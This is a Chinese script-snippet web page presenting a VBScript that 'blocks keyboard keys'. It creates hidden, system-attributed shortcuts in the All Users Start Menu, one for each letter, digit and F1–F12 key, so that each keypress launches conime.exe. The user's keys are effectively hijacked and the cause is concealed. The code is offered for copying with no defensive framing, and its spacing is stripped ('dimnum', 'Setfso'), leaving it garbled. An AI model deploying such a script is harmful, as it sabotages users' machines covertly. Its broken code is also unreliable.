手机
当前位置:查字典教程网 >脚本专栏 >vbs >vbs屏蔽键盘按键
vbs屏蔽键盘按键
摘要:复制代码代码如下:'codeBY伤脑筋www.ntbak.cnwww.jb51.net'copytofilename.vbsdimnum,v...

复制代码 代码如下:

'codeBY伤脑筋www.ntbak.cn www.jb51.net

'copytofilename.vbs

dimnum,var,fso,wsh,pathname

num="A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,"+_

"V,W,X,Y,Z,0,1,2,3,4,5,6,7,8,9,F1,F2,F3,F4,F5,F6,"+_

"F7,F8,F9,F10,F11,F12"

var=Split(num,",",-1,1)

Setfso=CreateObject("Scripting.FileSystemObject")

setWsh=WScript.CreateObject("WScript.Shell")

pathname=Wsh.SpecialFolders("AllUsersStartMenu")+"程序附件辅助工具"

fori=0toUBound(var)

setLink=Wsh.CreateShortcut(pathname+var(i)+".lnk")

Link.TargetPath="conime.exe"

Link.Hotkey=var(i)

Link.Save

SetFile=fso.GetFile(pathname+var(i)+".lnk")

file.Attributes=2+4

next

【vbs屏蔽键盘按键】相关文章:

VBS教程:运算符-赋值运算符 (=)

vbs字符串操作小考题

VBS调用WMI实现搜索硬盘mp3文件

vbs 多线程下载实现代码

vbs fso跨盘移动文件夹的怪问题

vbs中关于计算机名的相关讨论

vbs SendKey 用法 Sendkey 键盘对应的码表

VBS访问剪贴板的几种方法小结

用vbs实现zip功能的脚本

vbs之使用Internet Explorer 屏蔽密码

精品推荐
分类导航